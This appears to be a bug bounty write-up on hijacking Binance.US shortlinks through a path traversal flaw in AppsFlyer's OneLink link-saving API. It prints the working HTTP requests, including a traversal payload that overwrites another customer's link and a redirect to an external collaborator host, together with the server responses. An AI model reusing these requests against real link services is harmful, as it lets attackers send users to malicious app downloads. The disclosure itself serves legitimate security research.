Whose app are you downloading? Link hijacking Binance’s shortlinks through AppsFlyer
While auditing the Binance program through their public bug bounty program, we noticed that some of the site’s shortlinks were being routed through a third-party app analytics platform called AppsFlyer. The shortlinks were available after authenticating to the website in the notifications bar and were hosted on the “binanceus.onelink.me” domain.
This was immediately interesting to us as if an attacker were able to overwrite the destination address of the shortlink, they could trick any Binance user into installing a malicious app via updating the “Get the Binance.US App”.
Exploiting Link Hijacking on AppsFlyer
After registering to OneLink, we added a new “fake app” to our account which we used to test with. After adding the app, we were able to claim a “onelink.me” subdomain.
One of the initial unsuccessful things we tried doing was setting our “onelink.me” subdomain to Binance-owned “binanceus.onelink.me”. These functionalities are often vulnerable to pre-existing or client-side checks which are sent out before the actual update request, but sadly AppsFlyer was handling everything correctly through both validating and updating the subdomain in the same HTTP request. We tried to fuzz it a little bit but weren’t able to take over their subdomain.
After moving on, we started to really dig deep into the shortlink functionality. Everything was available through a very straightforward panel. The intended use of the panel was to add user-agent specific tracking shortlinks which would differentiate the HTTP response depending on whether or not the user was on mobile or desktop.
Before we explored this further, we decided to harvest as much data as possible from the Binance shortlink so that we understood how the actual shortlink was being indexed.
The following photo shows an HTTP request being sent to the normal Binance app installation OneLink URL:
We didn’t understand what the “eT20” value was, so we went ahead and tried changing the “BinanceUSTwitter” to something arbitrary in an attempt to figure out whether or not “eT20” was some sort of identifier for the shortlink:
The link still worked! This meant that “eT20” was likely the identifier for the shortlink. We confirmed this by sending the following HTTP request:
Since we now had an identifier for the shortlink, we went ahead and attempted to figure out how exactly creating a shortlink worked. It appeared that when we made the account, we were assigned a similar 4-character alphanumeric ID which was set to the front of our shortlinks. Whenever we created a new shortlink or updated an existing one, the same value was sent.
The parameters that were sent to the actual update request were a bit confusing, including full URLs, HTTP request functions, and various different ID formats:
POST /link-management/api/saveLink HTTP/1.1 Host: hq1.appsflyer.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Content-Type: application/json Content-Length: 643 {"account_id":"acc-jTou2HrR","app_id":null,"link_name":"Blog_test_10_jul_2021","onelink_id":"wmuh","media_source":"Blog","revision":null,"creative_id":null,"shortUrlData":{"longUrl":"https://palisade.onelink.me/wmuh?pid=Blog&c=test2&deep_link_value=test&af_ios_url=https%3A%2F%2Fwww.google.com%2F&af_android_url=https%3A%2F%2Fwww.google.com%2F","id":"wmuh","isOneLink":true,"method":"put","shortlinkId":"c688a4e8","ttl":"-1"},"linkId":"8087b58d-1c1a-4cc8-baad-62c9033e6c89","url":"https://palisade.onelink.me/wmuh?pid=Blog&c=test2&deep_link_value=test&af_ios_url=https%3A%2F%2Fwww.google.com%2F&af_android_url=https%3A%2F%2Fwww.google.com%2F"}
From what appeared to be going on from the listed parameters, the server was sending a PUT request to our own OneLink URL with added parameters HTTP parameter used to update the redirect URL.
We attempted to send the PUT request to our OneLink domain ourselves, but the server responded with an “HTTP 401 Unauthorized” error" which indicated there was likely a bearer and/or authorization based on IP address when the server itself sent the PUT request.
This was super interesting, as if we were able to either (a) replace the ID of the shortlink with our own or (b) leak the hypothetical bearer that the server was sending, we’d be able to update any customer’s shortlink.
The first thing we tried was very simple: replacing our ID with the Binance ID we’d found from earlier. This did not work:
POST /link-management/api/saveLink HTTP/1.1 Host: hq1.appsflyer.com Content-type: application/json {"longUrl":"https://binanceus.onelink.me/eT20/BinanceUSTwitter?af_web_dp=https%3A%2F%2Fdfwhhjo8xpvygfl7x98ct1a5pwvmjb.burpcollaborator.net%2Fsamwcyo","id":"eT20","isOneLink":true,"method":"PUT","shortlinkId":"846a3c03","ttl":"-1"}
HTTP/1.1 200 OK Date: Sun, 11 Jul 2021 01:24:44 GMT Content-Type: application/json; charset=utf-8 Content-Length: 56 Connection: close Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Origin: * Etag: W/"38-f7d00KKmA7RTo1tu49tymr55Rm8" Strict-Transport-Security: max-age=604800 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Powered-By: Express X-Xss-Protection: 1; mode=block {"status":500,"msgKey":"notifications.error_shortening"}
However, we did have one trick we could try! Path traversal via the “url” parameters:
POST /link-management/api/saveLink HTTP/1.1 Host: hq1.appsflyer.com Content-type: application/json {"longUrl":"https://binanceus.onelink.me/OUR_OWN_ID/../eT20/BinanceUSTwitter?af_web_dp=https%3A%2F%2Fdfwhhjo8xpvygfl7x98ct1a5pwvmjb.burpcollaborator.net%2Fsamwcyo","id":"OUR_OWN_ID","isOneLink":true,"method":"PUT","shortlinkId":"846a3c03","ttl":"-1"}
HTTP/1.1 200 OK Date: Sun, 11 Jul 2021 00:53:01 GMT Content-Type: application/json; charset=utf-8 Content-Length: 119 Connection: close Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Origin: * Etag: W/"77-Qa9uHAnegXb6B17nt3yT2wWGl1w" Strict-Transport-Security: max-age=604800 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Powered-By: Express X-Xss-Protection: 1; mode=block {"status":200,"linkId":"8087b58d-1c1a-4cc8-baad-62c9033e6c89","shortUrl":"https://binanceus.onelink.me/eT20/testing"}
It worked! The server was validating the ID via the initial path field in the HTTP request, so an attacker could simply provide the value, traverse back to the root, then provide the affected target ID we wanted to overwrite.
We had overwritten the Binance shortlink which was displayed to all Binance users. This additionally meant that we could overwrite any URL on the AppsFlyer OneLink functionality (nearly 12,000 customers including Adidas, eToro, Wayfair, and others).
Summary
An attacker could’ve exploited this vulnerability, specifically targeting Binance, to serve users malicious downloads through the official notifications section of the website. AppsFlyer has over 12,000 other customers who were also affected by the same issue.